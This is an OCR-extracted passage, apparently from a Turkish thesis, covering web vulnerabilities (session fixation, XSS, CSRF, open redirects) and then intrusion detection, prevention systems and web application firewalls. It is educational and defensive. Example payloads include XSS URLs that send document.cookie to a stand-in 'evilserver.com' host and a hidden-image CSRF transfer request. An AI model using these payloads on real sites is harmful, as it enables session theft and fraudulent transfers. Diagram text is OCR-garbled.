Saldirganlar sifreleri ve kimlik denetimi anahtarlarim1 kullanicinin diger bilgilerini elde

etmek i¢in kullanabilmektedirler. Bu saldir1 iki sekilde yapilamaktadir.

Oturum Sabitleme (Session Fixation)

Bu saldirida saldirgan ncelikle ilgili web sayfasimi acarak kendisi i¢in uzun ve tahmin
edilmesi imkansiz olan oturum anahtarmin olusturulmasini saglar. Ikinci adimda bu oturum
bilgileri ile olusturdugu login sayfasini kurbana gondererek kullanici ad1 ve sifresiyle giris
yapmasini saglar. Sonrasinda ayni1 oturum anahtar1 ve cookie bilgileri ile kullanici ad1 ve
sifreyi bilmesine gerek kalmadan, yetkilendirilmis olan session bilgileri ile kurbanin
hesabina kolayca giris yapar. Bu saldirtya iliskin 6rnek saldir1 senaryosu Sekil 3.8’de

gosterildigi gibidir.
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Saldirgan

Banka Sunucusu

(ON essi j
Ac, Onip.

Count‘h 67234'/

t'h?s y234
: — : CSSion, U234
Spam Mail \ D=6723‘q GHg
Litfen ghrlsyaparak: http://banka.com/Login.htm? GHq Vigey,
hesapinizi glincelleyiniz | | sessionID=6723AVY234U234GH4 yi getir T~

. e\\‘/
S\ e _‘/V
\
Kurban b‘\)’ﬂu 3 N %e‘
e1? o
= & ‘e;
Q'Se5$ e{&s\
\09;\“- e e”

@/ . xﬁ‘?‘
X o

Sekil 3.8. Oturum sabitleme saldirisi

Tahmin Edilebilir Oturum (Session Prediction)

Bu yontemde ise oturum ve yetkilendirme isleminin yeterince giivenli olmamasindan dolayz,
diger kullanicilarin oturum bilgilerinin tahmin edilmesi miimkiin olabilmektedir. Saldirgan
oturum bilgilerini manipiile ederek diger kullanicilarla bir etkilesime girmeden oturumlarini
calabilmektedir. Ornegin bir saldirgan Sekil 3.9°da bulunan satis linkini ele gecirdiginde
burada bulunan oturum id sini degistirerek bagka kullanicilarin rezervasyon islemlerine
ulagabiliyorsa burada oturumun giivensiz olusturulmasindan kaynakli kritik bir acik

bulunmaktadir.

http://www.example.com/satis/satinal?sessionid=4597228301&dest=Ankara

Sekil 3.9. Oturum ¢alinmasina miisait url bilgisi
3.3.3. Siteler arasi betik calistirma (Cross Site Scripting — XSS)
Kullanicidan alinan girdinin herhangi bir denetimden ge¢irilmeden (ya da eksik girdi

denetiminden gegcirilerek) kullaniciya gosterilecek sayfanin kaynak kodu igerisinde yer alan

javascript kodlarina eklenmesi ve bu sayede istemci tarafinda betik c¢alistirilmasi islemidir.
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Bu sebeple XSS i¢cin HTML enjeksiyonu ya da betik enjeksiyonu tabirleri de
kullanilmaktadir [18]. XSS saldir1 diyagrami Sekil 3.10°da verilmistir.

&

Agik bulunan websitesi n

d
o

Allow: |
Sunucu =
Kullanici sunucudan E </>
veri istiyor 0
Zararh script iceren veri yiiklendi

& </>

Zararh script calistiriliyor ve
saldirgana geri bildirim yapiyor

* Zararh Kod
\ Zararli kod enjeksiyonu Veritabanina Kaydediliyfr
Ld L
Saldirgan

Sekil 3.10. XSS saldir1 diyagrami [19]

XSS saldirilarinin kullanilan yonteme gore ¢esitleri bulunmaktadir.

Yansitilan XSS (Reflected XSS)

Yansitilan XSS agikliklar1 sikga rastlanan bir XSS tiirii olup, uygulamanin kullanicidan
aldig1 girdiyi HTML karakterlerinden ayristirmadan ya da kodlamadan (encoding) aynen

geri gondermesi seklinde olusur.

Kullaniciya geri gonderilecek girdi HTTP mesajinin herhangi bir parametresinde yer
alabilmekle birlikte yansitilan XSS agikliklarima yonelik saldinida  kullanicinin
gonderebilecegi girdi URL’in i¢inde yer almalidir [20]. Yansitilan XSS saldirisinin
gerceklestirilmesi Sekil 3.11°de gosterilmistir.
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WAE,“E,BUh;nan Yansitilan XSS
eb Uygulamasi % (Reflected XSS)
~
3)
2)
Saldirgan
0 Kurban
— >

Asagidaki linki iceren phishing maili

http://www .fakewebforum.com/profiles.php?name=<script>
document.write('<img src="http://evilserver.com/' +
document.cookie+") </script>

Sekil 3.11. Yansitilan XSS saldirist [21]

Depolanan XSS (Stored XSS)

En tehlikeli sayillan XSS saldirisidir. Oncelikle agik sayesinde zararli kod veritabanina
kaydedilir. Bagka bir kullanic1 kaydedilmis kod verisini veritabanindan ¢eken web sayfasi
i¢in istekte bulundugunda, zararli kodun kurbanin tarayicisinda calistirilmasi sonucu olusur.
Ornegin bir ucak bileti satis sayfasinda yolcu ismi kisminda bulunan XSS agigina saldirgan
zararl javascript kodu yazar ve kaydederse, bu kod veritabanina kaydedilir. Sonrasinda
yetkili personel tarafindan yolcu bilgileri goriintiilenmek istendiginde, isim alanina girilen
zararli kod bu yetkilinin web tarayicisi tarafindan g¢alistirilarak ve o anda ayni tarayicida
bulunan diger sekmelerde dahil olmak iizere tiim cookie bilgilerinin ¢alinabilmesine imkan

tanir.

Bu agikliklarin kullanilabilmesi i¢in 2 defa istek yapilmasi gerektiginden ikinci derece
(second order) XSS olarak da anilirlar. Buna mukabil yansitilan XSS agikliklar1 da tek istek
gerektirdiginden birinci derece (first order) XSS olarak da adlandirilir [20]. Depolanmis XSS

saldirisinin gerceklestirilmesi Sekil 3.12°de gosterilmistir.
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Agik Bulunan
Web Uygulamasi § Depolanmis XSS
-~

(Stored XSS)
. 3

Saldirgan 9 o @
: 2) o

Kurban

http://www.fakeforum.com/comments.php?comment=
<script>document.write('<img src="http://evilserver.com/" +
document.cookie+')</script>

Sekil 3.12. Depolanmis XSS saldirist [21]

DOM Tabanli XSS (DOM Based XSS)

DOM (Document Object Model) tabanli XSS saldirisi yansitilan XSS saldirisint ¢ok
benzemekle birlikte, bu saldirnda HTML sayfasi i¢inde zararli kod bulunmayip, DOM objesi
icindeki zararh kod ¢alistirilarak meydana gelmektedir. Bu saldirida da yansitilan XSS gibi
kurbanin saldirgan tarafindan saglanan linki tiklamasi sonucunda zararli kod devreye

girmektedir. DOM tabanli XSS saldirisinin gerceklestirilmesi Sekil 3.13de gdsterilmistir.
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DOM Tabanh XSS

Saldirgan (DOM Based XSS)

Web Sunucu §

X

DOM XSS saldirisi 0
QJ bulunan URL

Kurbanin Tarayicisi

Normal javascript
zararli javascript kodunu
html sayfasina ekler

Web sitesi normal
Q javascript kodu déner

Sekil 3.13. DOM Tabanli XSS saldirist [21]

3.3.4. Giivensiz dogrudan nesne referanslari (Insecure direct object references)

Y onetim ve/veya konfigiirasyon amaciyla kullanilan gizli sayfalarin, kullanimdan kaldirilan
uygulama adreslerinin ve hassasiyet tasiyan URL’lerin tespit edilmesi sonucu ortaya
cikmaktadir. Uygulama i¢inde bulunan, hassas verilere ve diger kullanicilarin verilerine
erisim saglayan ve sadece yetkili olanlarin erigmesi gereken sayfa ve yapilandirma
dosyalarinin yetkilendirmesinde meydana gelen hatalardan dolayi, saldirganin diger

kullanicilarin ve uygulamanin hassas verilerine ulasmasina sebep olan bir agiktir [22, 23].

3.3.5. Yanls giivenlik yapilandirmasi (Security misconfiguration)

Yanlis yapilandirma agiklarina neden olan bir¢ok sebep ve bu agik sonucunda ortaya ¢ikan
birgok saldir1 vektorii mevcuttur. Bu agigin ilk sebebi agik kaynak olmasindan dolay:
APACHE, MYSQL ve PHP nin en sik kullanilan web sunucu platformlar1 olmalarindan
kaynaklanmaktadir. Bu platformlarda ¢ikacak bir acik veya yanlis yapilandirma sonucunda

olusacak bir agik tiim web uygulamasini etkileyecektir [24].
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Varsayilan (default) ayarlarda birakilan sunucu bilesenleri iizerine insa edilen web
uygulamalarinda bulunan agiklar, bu bilesenleri iyi taniyan saldirganlar tarafindan kolayca

ortaya cikarilabilmektedir.

3.3.6. Hassas veri pozlama (Sensitive data exposure)

Uygulama gelistirici tarafindan unutulan veya sunulan web sitesinde kalan ve hassas bilgi,
link barindiran yorum satirlarindan veya gereksiz koddan kaynaklanabilmektedir. Genellikle
bu agik tek basina somiiriilmeyip saldirgana yol gostermektedir. Eger hassas bilginin
bulundugu yerde giivensiz dogrudan nesne referansi agig1 varsa saldirgan tarafindan kolayca
somiiriilmektedir [25]. Kimlik Numarasi, kredi karti, kullanic1 bilgileri gibi hassas bilgiler
web uygulamalarinda iyi korunmalidir. Bu bilgiler kimlik hirsizligi, kredi karti sahteciligi ve
benzer suglarda kullanilabilmektedir. Hassas bilgilerin her zaman giivenli bir sifre ile

tagindigindan, saklandigindan emin olunmalidir [22].

3.3.7. Islev seviyesi erisim kontrolii eksikligi (Missing function level access control)

Uygulamaya ait fonksiyonlara erisim kontroliinliin yapilmamasindan kaynaklanir. Bir
fonksiyon kullanicilar i¢in diisiik seviyede veri erisimi yaparken daha iist kullanicilar i¢in
daha hassas wverilere erisim imkam1 verebilir. Kritik fonksiyonlardaki erigim
yetkilendirmesini kullaniciya 6zel yapmak yerine diger fonksiyonlarda kullanilan varsayilan
erisim protokolleri kullanildiginda agiga ¢ikmaktadir. Bazen normal kullaniciya bir hizmet
bir linkten verilirken yonetici kullanicisina, diger kullanicilarin diislinemeyecegi varsayimi
ile erisim yetkisinin olup olmadig1 diizgiin olarak kontrol edilmeden olusturulmus yetkili
herhangi bir oturum bilgisi ile erisilebilen bir linkten hizmet verilmesi durumunda ortaya

cikmaktadir.

Ornegin, normal kullanici kendi bilgilerine “http://www.example.com/bilgiler.php”
linkinden ulasirken yonetici yetkisine sahip kullanicinin istedigi kullanicinin bilgisi
gérmesine izin veren hizmet “http://www.example.com/admin/bilgiler.php” linkinden

verilmekte olsun.

Normal kullanici ilgili linki tahmin edip veya bir sekilde elde edip, bu hizmete kendi oturum

bilgileri ile erigebiliyorsa burada erisim kontroliine iliskin agiklik bulunmaktadir. Bu tiir
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saldirilarin 6niine gegmek icin tiim sayfalarda ve uygulama fonksiyonlarinda varsayilan
yetkilendirme yapmak yerine, her sayfaya ve uygulamaya 6zel yetkilendirme mekanizmalari

olusturulmalidir.

3.3.8. Siteler arasi istek sahteciligi (Cross-site request forgery — CSRF)

CSRF saldirilart; kullanicinin giris yaptigt web sayfasina ait cookieleri ya da kimlik
dogrulamasi icin kullanilan diger bilgileri kullanicinin tarayicisindan c¢almak icin sahte
HTTP istekleri kullanma yontemidir [22]. Sisteme girig yapmis kurbana ait tarayicinin, bir
web uygulamasia sonradan saldirganin yararina olacak, zararli sekilde hazirlanmis ve
onceden dogrulanmis bir istek gondermesine sebep olur. CSRF, saldirdigr web uygulamasi

kadar giiclii olabilmektedir [16].

Banka web yaziliminda bulunan CSRF a¢ig1 sayesinde kurbanin agik olan oturumu ile
saldirgana EFT yapilmasini saglayan CSRF saldirist Sekil 3.14°de gosterildigi gibi
gerceklestirilmektedir.

Banka Sunuculari Kurban Saldirgana Ait Sunucu

@ Kurban giris yapiyor @ Kurban resim 6gresiile
+-— saldirgana ait siteyi/linki
ziyaret ediyor
@Cookie ataniyor x i o=
" NS

-
@ Saldirganin hesabina %
para transfer ediliyor

Banka oturumu dogruluyor
ve para transferini
gerceklestiriyor

L <HTML> Zararli Kod Iceren Resim Ogresi

<img src="http://mehmetbank/eft.cgi?from=52349866&y0=44963741&
amount=2500&date=12012016" width="0" height="0">

</HTML>

Sekil 3.14. CSRF saldirisi



25

3.3.9. Bilinen zafiyetli bilesenleri kullanma (Using components with known

vulnerabilities)

Zafiyet barindirdigr bilinen {icilincii parti yazilim veya framework kullanimindan
kaynaklanan giivenlik acigidir. Yaygin kullanilan yazilim bilesenlerinin versiyonlarinda
bulunan agiklar saldirganlar tarafindan tespit edilerek, bu agiklar1 sémiirmeye yonelik hazir
saldir1 araglar gelistirilmektedir. Kullanilmakta olan bir frameworkiin eskiden veya yeni
ortaya ¢ikmis agiklarindan kaynakli, saldirganlar tarafindan ilgili web uygulamasinin hazir
saldir1 araglar1 kullanilarak taranmasi sonucu kritik aciklar tespit edilebilmektedir.
Kullanilan hazir frameworklerin, glivenlik agiklarina iligkin takipler yapilmali, yaymnlanan
giincellestirme ve patchler kullanilan sisteme vakit gegirilmeden eklenmelidir. Apache gibi
bir frameworkte tespit edilen kritik bir giivenlik a¢ig1 en giivenli web uygulamalarini bile
saldirtya agik hale getirebilmektedir. Bu agiklardan sakinmak icin web uygulamalarinin
diizenli olarak saldirganlarin kullandigi yontemler ve araclar kullanilarak testler

gerceklestirilmelidir.

3.3.10. Gegersiz ileri yonlendirmeler (Unvalidated redirects and forwards)

Web uygulamalar1 kullanicilar1 bagka sayfa veya sitelere yonlendirebilmektedir.
Yonlendirme isleminde gilivenilmez sekilde veri alarak bu veriye gore yonlendirme yapacagi
yeri belirleyen web uygulamalarinda bu gegersiz ileri yonlendirme ag¢181 ortaya ¢ikmaktadir.
Saldirganlar tarafindan giivenilmez URL bilgileri ile zararl siteye yonlendirilen kullanicilar
spam ve kimlik avina maruz kalarak bilgilerini ¢aldirabilmektedirler. Asagidaki goriindiigi
gibi, bir uygulamada bulunan redirect.php sayfas1 ile uygulama kullaniciy1 disardan giris

olarak aldig1 URL yonlendirdigi durumlarda bu agik ortaya ¢ikmaktadir.

URL yonlendirme : “http://www.example.com/redirect.php ?uri=zararli.com”
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4. SALDIRI TESPIT SISTEMLERI VE BILESENLERI

[Ik olarak Amerika’da akademik amagli bir arastirma ag1 olarak tasarlanan internet,
giiniimiizde tiim diinya tarafindan yogun ve etkin sekilde kullanilir hale gelmistir. Ilk
zamanlarinda internetin bu kadar kapsamli ve etkili kullanilabilecegi 6ngoriilemediginden
ya da ¢ok Onemsenmemesinden dolayi, internet ortamindaki giivenlik ile ilgili yeterli
caligma yapilmamistir. Fakat internetin yayginlagmasi, is ve islemlerini internete lizerinden
gerceklestiren kurum ve kuruluslarin artmasi, giinliik iglerin internete bagli hale gelmesiyle
giivenlik konusu ciddi bir problem haline gelmistir. 1988 yilinda ortaya ¢ikan ve internete
bagl olan 60.000 kadar bilgisayardan 6.000 tanesine sizmay1 basaran ve ¢alisamaz hale
getiren Morris solucani, neredeyse internetin ¢okmesine sebep olmus ve olaydan sonra
internet ortamindaki giivenlik konusunda farkindalik olusmaya baslamistir. Bu olaydan
sonra bilgi giivenligi konusunda ¢aligmalar hiz kazanmig ve 90’l1 yillarin baglarinda ilk
giivenlik duvar1 uygulamalari ile bir takim teknik giivenlik 6nlemlerinin alinmasi konusunda

referans ¢alismalar baglamistir [26].

Giivenlikle ilgili tehditlerin sayisinin ve tiirlerinin hizla artmasina karsilik, gelistirilen
giivenlik Onlemlerinde de hizli bir gelisim yasanmaktadir. Bu kapsamda bilgisayarlarin
giivenligini saglamak, yetkili olmayan kisilerin sistemlere eriserek bilgileri ele gecirmelerini
veya degistirmelerini engellemek i¢in giivenligin ilk basamagi olarak kimlik dogrulama ve
erisim kontrolii gibi giivenlik mekanizmalar1 gelistirilmistir. Fakat internet ve iletisimin
artmastyla beraber kotii niyetli kullanicilar tarafindan saldirilip zarar verilebilecek daha ¢ok
sistem ve elde edilebilecek daha cok bilgi ortaya ¢ikmaya baglamig ve buna bagl olarak
gergeklestirilen saldir1 sayisinda ve kullanilan saldiri yontemlerinde de ciddi artislar
gozlemlenmistir. Genel olarak yapilan saldirilarin biiylik bir c¢ogunlugu kullanilan
sistemlerin zaaflar1 ve/veya acikliklarindan faydalanilarak gergeklestirilmektedir. Bu tiir
saldirilar1 engellemenin iki tiirlii yontemi vardir. Birincisi, tamamen giivenli bir sistem ve
ortam olusturmak, ikincisi ise en kisa siirede saldirilarin tespit edilip gerekli dnlemlerin
alinmasmin saglanmasidir. {lk yontemin giiniimiize kadar uygulanabilirligi miimkiin
olmamustir ve olas1 da gériinmemektedir. Onun i¢in bir sistemin gilivenligi, sistem giivenlik
sorumlular tarafindan rutin kontrolleri yapilmak kayd: ile saldir1 gelene kadar bekleme
pozisyonunda kalarak, saldir1 geldiginde olabildigince hizli bir sekilde saldiriy1 tespit edip

gerekli &nlemi alabilmeyi miimkiin kilacak sekilde tasarlanmalidir. Iste bu asamada da
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devreye saldir1 tespit sistemleri girmektedir. En genel anlamriyla, saldirt tespiti igini yapmak

icin gelistirilen sistemlere “Saldir1 Tespit Sistemleri” (STS) denilmektedir [26].

Kurumsal altyapilarin etkin bir sekilde izlenmesi ve kontrolii BT boliimlerinin 6nemli
sorunlarindan biridir. Sistem durumunun ve servis dlgiimlerinin derinlemesine incelenmesi,
gecmis verilerle istatistiksel analizlerin yapilmasi ve akillica tiretilen alarmlar sistemdeki
anormalliklerin ve problemlerin hizli bir sekilde tespit edilmesi ve ¢dziilmesinde oldukca

onemlidir. STS ¢oziimlerindeki en 6nemli {ic asamasini “izleme”, “alarm iiretme” ve

“raporlama” olusturmaktadir [27].

Saldir1 Tespit Sistemleri, 6zel gorevi olan Ozellestirilmis donanim, 6zel yazilim veya
donanim ve yazilimin bir arada kullanildig: hibrit bir sistem olabilmektedir. STS ler sensor
ve yonetim arabirimi olmak iizere iki par¢adan olusmaktadir. Genel olarak inceledigimizde,
Saldir1 Tespit Sistemleri agdaki paketlerin hedefini 6nemsemeden hepsini incelemek icin ag
baglanti noktasindan alan ve iz veritabani1 denilen listeye gore eleme yaparak, saldiri
aktivitelerini kayit eden yazilimlar olarak tanimlanabilmektedir. Saldir1 Tespit Sistemleri,
agda baglantili oldugu konuma gore sadece erisimi olan veri paketlerini inceleyebilmektedir.
Bu yiizden, Saldir1 Tespit Sistemlerinin konumu ve agdaki baglant1 noktas1 ¢cok 6nem arz
etmektedir. STS agdaki tiim trafigin analizinde kullanilacaksa, agin en Oniinde
konumlandirilmali ya da bu noktadaki ag cihazindan STS’ ye yonelik yansitma (miroring)
yapilmalidir. STS’ler, kiigiik ve orta 6l¢ekli aglarda gilivenlik duvarinin (firewall) 6niinde
veya arkasinda olmak iizere iki noktada konumlandirilabilmektedir. Biiytlik 6lgekli aglarda
ise, sistemin yapisina gore, gerek goriilen her noktaya, STS sensorleri konulmaktadir [28].
Biiyiik 6l¢ekli aglar, kiiciik 6l¢ekli aglarin bir araya gelmis hali oldugu icin her kii¢iik 6l¢ekli
ag biriminde izlenmek istenilen trafige gore sensorlerin yerlestirilmesi ve merkezi bir STS
yonetim birimi ile haberlesmesi yeterli olacaktir. Sekil 4.1°de genel olarak bir ag yapisi ve

STS sisteminin konumlandirilmasi gosterilmistir.
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internet

Saldirgan

Yonlendirici
(Switch)

Saldin Tespit
Sistemi (STS)

Guvenlik Duvari
(Firewall)

DMZ Sunucular

Kullanicilar (Clients)

Sekil 4.1. Genel ag yapis1 ve STS' nin konumlandirilmasi

Giivenlik duvarinin 6niinde, dis ag ile i¢ agin birlesme noktasinda konumlandirilmis (inline
mod) bir STS dis agdan gelecek tiim trafigi dinleyip, disardan gelecek saldir1 trafiklerini i¢
aga sokmadan engelleyebilecektir. Bu konumlandirmanin handikabi ise i¢ agdan ya da i¢
agda ele gecirilmis bir bilgisayardan gerceklesecek saldirilarda trafigin STS’ ye ulasmama
thtimalinden dolay1r bu saldirilar1 6nlemede basarisiz olmasidir. Bu durumda i¢ agdada

ihtiya¢ duyulan noktalara da sensor konulmasi gerekmektedir.
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4.1. Saldir1 Onleme Sistemi (Intrusion Prevention System - IPS)

Giivenlik duvarlar1 ya da antiviriis yazilimlarina benzer sekilde saldir1 6nleme sistemleri de,
ag1 ve agdaki trafigi kotiiclil aktivitelere karsi korumak ve saldirganlarin aga erigimini
engellemek tlizere gelistirilmistir. Saldir1 6nleme sistemlerinin (IPS) en temel fonksiyonlart;
anormal trafik, zararli kod, politika ihlali, ya da sisteme girmeye ¢alisan bir saldirganin
varlig1 gibi durumlar1 analiz etmek, bu aktivitelerle ilgili kayit tutmak ve bu aktiviteleri
raporlayip, durdurmaya/engellemeye ¢aligmaktir. IPS’ leri IDS’ lerden ayiran en 6nemli fark;
herhangi bir zararli aktiviteyi tespit ettikten sonra engelleyip, bloklamasidir. Kisaca
ozetlemek gerekirse, saldir1 tespit sistemleri ag1 bir pencereden izleme imkani saglarken,

saldir1 6nleme sistemleri miidahale ve kontrol etme imkéan1 da saglamaktadir [29].

IPS’ler, tlizerinden ge¢mekte olan tiim ag aktivitelerini aktif bir sekilde analiz ederken,
gerektigi zamanlarda bu aktivitelere otomatik tepkiler de verebilmektedir. Bu otomatik
tepkiler; sistem yoOneticisine alarm gonderilmesi, zararli paketlerin diisiiriilmesi, zararl
paketin geldigi kaynak adresin ve portun ya da baglantinin engellenmesi olabilmektedir. Bir
[PS'in ‘inline’ durumda olmast; yani kaynak ve hedef arasindaki iletisim yolu iizerinde
konumlandirilmasi ve ag trafiginin lizerinden gegmesi, saldirilar1 6nlemede en énemli 6n
kosuldur. IPS’ler giivenlik duvarlartyla benzerlik gostermekle birlikte, saldir1 tespit
sistemlerinin web gilivenlik duvarlarindan en biiylik farki; giivenlik duvarlart 6nceden
belirlenmis olan kurallara gore izin verilen trafik digindaki tiim trafigi engellerken, IPS’lerin
onceden belirlenmis kurallar disindaki tiim trafigi gecirmesidir. Diger bir deyisle, ag
givenlik duvarlar1 beyaz liste (whitelist) mantigiyla yani  ‘neye izin verildigi’ ile
ilgilenirken, saldir1 6nleme sistemleri ise kara liste (blacklist) yani ‘neye izin verilmedigi’ ile

ilgilenmektedir [29]. IPS’ in aga inline modda yerlestirilmesi Sekil 4.2°de gdsterilmistir.
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Saldiri Engelleme Sistemi
(Intrusion Prevention System - IPS)

Giivenlik Duvari

Yonlendirici

Sekil 4.2. IPS' in agda inline konumlandirilmasi

4.2. Web Uygulama Giivenlik Duvar1 (Web Application Firewall - WAF)

Gilinlimiizde tiim kurum ve kuruluslar kendi i¢ ag1 ile baglanacagi dis ag arasina giivenlik
duvarmi yerlestirerek gelen ve giden ag trafigini yonetmektedirler. Klasik giivenlik
duvarlar1 kaynak ve hedef ip adresleri, port numaralari, baglanti durumu (TCP veya UDP)
gibi 0zellikleri kullanarak genelde OSI 4. katmana kadar islem yapmaktadirlar. Giiniimiizde
7. katman olan uygulama katmaninda islem yapan ve yeni nesil glivenlik duvarlar1 olarak
adlandirilan gilivenlik duvarlar1 bulunmaktadir. Bu giivenlik duvarlarinda port numaralari
yerine daha esnek olan http, smtp, ftp gibi protokol bazli uygulama katmani kurallari
olusturulabilmektedir. Bununla birlikte yeni nesil giivenlik duvarlar1 da dahil olmak {izere,
ozellikle uygulama seviyesinde gergeklestirilen kritik giivenlik acikliklar1 karsisinda yetersiz

kalabilmektedirler.

Klasik giivenlik duvarlarinda bir porta izin verildiginde o port iizerinden taginabilecek tiim
ag paketleri gilivenlik duvarint gegerek hizmet verilen uygulama sunucusuna
ulagtirllmaktadir. Gtivenlik duvarlarinda sadece servis verilen portlara izin verilip,
kullanilmayan servislere ait portlar kapatilarak giivenlik 6nlemi alinmaya ¢alisilmaktadir.
Cogu uygulamanin web ortamina gectigi goz Oniine alinarak, bir kurum web sitesi lizerinden
dis diinyaya bir hizmet sundugunda en azindan 80 ve/veya 443 portuna (http veya https) izin
verilmesi gerekmektedir. Bundan dolayr saldirganlar bu portlar1 kullanarak ve web
uygulamalarinda bulunan giivenlik acikliklarindan faydalanarak saldirt

gergeklestirmektedirler.
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Bu durumda giivenlik duvari http veya https trafigine miidahale edemedigi i¢in Sekil 4.3’de
goriindiigii gibi saldirgan giivenlik duvarmi gecerek direk web sunucusu ile

haberlesmektedir.

Veri Merkezi

L . ~ Web Sunucular
. Veritabani Sunuculan

S Giivenlik Duvan
~i :
|

internet Kullanicilan .! :

Sekil 4.3. Web saldiris1 ve glivenlik duvarinin atlatilmasi

Web sunuculara yapilacak saldirilari tespit etmek ve onlemek i¢in “Web Uygulama Giivenlik
Duvar” (WAF — Web Application Firewall) denilen ve web sunucularin Oniinde
konumlandirilan 6zel cihaz ve/veya yazilimlar kullanilarak web uygulamalarina yapilacak
saldirilarin 6niine gegilmeye calisilmaktadir. WAF’ lar web trafikleri tizerinde derinlemesine
inceleme yaparak bu web trafiklerinin bir saldir1 igerip igermedigini belirlemeye
caligmaktadir. WAF’ lar genellikle http, https, soap, xml gibi web protokolleri {izerinde
inceleme yapmaktadirlar. WAF cihazlari; SQL enjeksiyonu (SQL injection), siteler arasi
betik ¢alistirma (Crosssite scripting), dogrulanmamus veri girisi(invalid input), oturum ¢alma
(session hijacking), parametre ya da URL zehirleme (URL tampering) ve bellek tagmasi

(buffer overflow) gibi web uygulama tehditlerine kars1 koruma saglamaktadir.

4.2.1. WAF modelleri

Bir web uygulamasina kars1 meydana gelen saldirilarin tespit edilmesi i¢in kullanilan iki ana

yontem vardir ve WAF lar bu yontemlerle calisirlar.
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Imza tabanli WAF

WAF’ larin kullandigi ilk yontem antivirlis yazilimlarina benzer sekilde imza tabanli saldiri
tanimadir. Bu yontemde WAF’ lara onceden bilinen saldirilara iliskin olarak olusturulan
imzalar tanitilir ve benzer saldirilar geldiginde tespit edilmesi saglanir. Bu islem saldirt
trafiginde belirgin olarak bulunan verilerin sisteme tanitilmasi ve ayni trafik verisine sahip
bir saldir1 geldiginde bunun Oniine ge¢ilmesi amaglanir. Bilinen saldir1 yontemleri igin

kullanilacak en iyi yontem budur

Imza tabanli WAFlarin avantajlari;

e Saldir1 olmayan trafigin saldir1 olarak algilanmasi anlamina gelen Yanlis Pozitif

(False Positive) alarmin az sayida iiretilmesi,
e Iimza tanimlamalarmin bilinen saldir tiirlerine gore yapilandiriimasi,

e Sistem yoOneticisi tarafindan hangi saldiri tiirleri i¢in alarm tiretilip, hangilerinin g6z

ard1 edileceginin ayarlanabilmesi,

e Her hangi bir 6grenme ve adaptasyon siireci olmadigi i¢in sistem kurulduktan sonra

hemen islerlik kazanmasi,
e Sistemin anlasilir olmasi,
e Sistemin kullaniminin kolay olmasidir.

Bu yontemin dezavantajlari ise;

e Yeni bir saldir1 paterni ortaya ¢iktifinda bu saldirtyr tespit edememektedir, yani

urettikleri Yanlis Negatif (False Negative) alarm sayis1 fazladir,

e Sisteme yapilabilecek tiim saldirilara kars1 ayr1 imzalarin olusturulmasi zorunlulugu

vardir,

e Imza tabaninin her zaman giincel tutulmasi zorunlulugu vardir.

Burada asil 6nemli olan imza 6l¢iitlerinin iy1 bir sekilde tanimlanabilmesi ve veritabaninin
biiyiikliigiiniin ayarlanmasidir. Veritabani gereginden fazla biiyilirse yanlis uyari verme
olasiligi yiikselir ve sistemde gecikmeler artar. Ayni sekilde, web uygulamalarina
gergeklesebilecek saldirilara iligkin iz veritabaninda yeterli sayida imza olusturulmazsa,
giivenlik agiklar1 olusur [30].
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Imza tabanli WAF’ lar iz veritabanina bakarak islem yapmaktadir. Iz veritabanmin
olusturulmasinda kullanilan; beyaz liste (whitelist) ya da pozitif glivenlik modeli (positive
security model) ve kara liste (blacklist) ya da negatif giivenlik modeli (negative security

model) olarak adlandirilan iki farkli yontem mevcuttur.

Pozitif Giivenlik Modeli: Sadece web uygulamalarina erismesine izin verilen trafige iliskin
olarak WAF kural tabani olusturulur, bu kurallarin disinda kalan trafige izin verilmez. Bu
modelin en uygun oldugu yapi; intranet gibi kapali aglarda, sirli kullanicilarin,
kullanacaklar1 port ve erisim protokollerinin belli oldugu 6zellesmis web uygulamalarinin
korunmasinda kullanimidir. Bu modelin avantaji, sadece giivenilen iplere, portlara,
protokollere, sorgulara yani web uygulamasina gelmesi muhtemel trafige izin verilip diger
her sey yasakladigi i¢in web uygulamasina gelmesi beklenmeyen trafiklerden yalitilmasidir.
Beyaz liste modelinin ¢ok fazla fonksiyonu olan ve genel internet trafiine acik

uygulamalarda kullanimi ise ¢ok fazla kural olusturulmasi gerektigi icin zorlagsmaktadir.

Negatif Giivenlik Modeli: Web uygulamalarina erismesine izin verilmeyen web trafiklerine
iligkin kural tabani olusturulup, bu kurallarin disindaki tiim web trafigine izin verilmektedir.
Bu modelin en biiyiik avantaji bilinen saldirilara kars: iyi bir giivenlik saglamasidir. En
biiyiik dezavantaji ise bilinmeyen ve normal web trafigine benzeyen saldirilara kars:
basarisiz olmasidir. Diger bir dezavantaj1 ise kural sayisinin zamanla ¢ok artmasi ile kural
tabaninin yonetimin giiglesmesi ve kural sayisina bagl olarak web trafiginde yasanacak

gecikmenin artmasidir.

Anomali tabanli WAF

WAF’ larda kullanilan ikinci bir yontem ise anormali tabanli saldir1 tespitidir. Bu yontemde
WAF” lara her kullanici grubu i¢in yetkilerine ve yapabileceklerine gore profiller tanimlanir.
Bu profillere iliskin normal davranis igeren trafikler ile egitilerek anormal bir davranig

oldugunda tespit etmeleri amaglanir.

Bu yontemin avantajlari;

e ¢ agdan gelen saldirilara ve hesap hirsizliklarina karsi oldukga basarilidir,
e Farkli profil tanimlamalar1 saldirganlarin islerini zorlastirmaktadir,

e Yeni saldir tiirlerini de tespit edilebilmektedir.
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Dezavantajlari ise;

e Profillerin olusturulabilmesi i¢in 6ncelikle web uygulamasina gelen trafigin

izlenmesi ve normal davranis iceren bu veriler ile egitilmesi gerekmektedir,

e Sistemin ilk olusturulmasi asamasinda web uygulama trafiginin normal
davraniglarinin belirlenmesi i¢in, bir slire agin dinlenmesi gerektiginden, bu gecen

stirede web uygulamalar1 saldiriya agik olmaktadir,
e (Cok fazla profil i¢eren aglarda analiz isinin zahmetli olmasi,
e Sistemin anlasilmasi zordur,
e Hangi saldir tiirlerinin alarm tiretecegi gittik¢ce karmagiklagmaktadir,
e Normal kullanic1 davranisina yakin saldirilarin tespit edilmesi zordur,

e Imza tabanli WAF’ lara gére daha fazla Yanls Pozitif (False Positive) alarm iiretilir.
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5. VERIi MADENCILIGI

Bilgisayar kullaniminin giinliik hayatta yayginlagmasi ile birlikte, her yapilan ise ait veriler
bilgisayarlarda saklanmaya baslamistir. Marketten yapilan alig verisler marketler tarafindan
satis ve stok takibi amaciyla kaydedilmektedir. Miisterilere verilen elektronik kartlar
araciligiyla bir yandan promosyonlar ile miisteri tesviki saglanirken diger taraftan asil amag
misterilerin alis veris kayitlarini tutularak, miisteri davraniglarinin tespiti amaglanmaktadir.
Elektronik ticaretten, perakende satisa; turizmden egitim sektdriine, tiim kurum ve kuruluslar
